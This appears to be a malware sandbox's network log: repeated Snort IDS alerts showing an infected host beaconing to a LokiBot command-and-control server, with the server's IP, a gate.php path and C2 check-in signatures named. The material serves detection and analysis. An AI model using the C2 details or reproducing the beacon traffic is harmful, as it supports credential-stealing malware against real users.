Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49188
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49189 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49189 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49189 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49189 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49189 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49189
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49190 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49190 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49190 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49190 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49190 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49190
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49191 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49191 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49191 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49191 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49191 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49191
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49192 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49192 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49192 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49192 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49192 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49192
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49193 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49193 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49193 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49193 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49193 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49193
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49194 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49194 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49194 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49194 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49194 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49194
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49195 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49195 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49195 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49195 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49195 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49195
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49196 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49196 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49196 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49196 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49196 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49196
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49197 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49197 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49197 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49197 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49197 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49197
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49198 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49198 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49198 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49198 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49198 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49198
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49199 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49199 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49199 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49199 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49199 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49199
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49200 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49200 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49200 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49200 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49200 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49200
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49201 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49201 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49201 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49201 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49201 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49201
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49202 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49202 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49202 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49202 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49202 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49202
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49203 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49203 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49203 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49203 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49203 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49203
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49204 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49204 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49204 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49204 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49204 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49204
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49205 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49205 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49205 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49205 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49205 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49205
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49206 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49206 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49206 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49206 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49206 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49206
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49207 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49207 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49207 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49207 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49207 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49207
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49208 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49208 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49208 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49208 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49208 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49208
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49209 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49209 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49209 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49209 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49209 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49209
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49210 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49210 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49210 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49210 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49210 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49210
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49211 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49211 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49211 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49211 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49211 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49211
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49212 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49212 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49212 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49212 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49212 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49212
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49213 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49213 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49213 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49213 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49213 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49213
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49214 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49214 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49214 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49214 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49214 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49214
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49215 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49215 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49215 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49215 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49215 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49215
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49216 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49216 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49216 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49216 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49216 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49216
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49217 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49217 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49217 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49217 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49217 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49217
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49218 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49218 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49218 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49218 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49218 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49218
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49219 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49219 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49219 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49219 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49219 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49219
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49220 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49220 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49220 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49220 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49220 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49220
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49221 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49221 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49221 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49221 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49221 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49221
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49222 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49222 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49222 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49222 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49222 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49222
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49223 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49223 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49223 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49223 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49223 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49223
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49224 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49224 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49224 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49224 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49224 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49224
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49225 -> 185.193.143.118:80
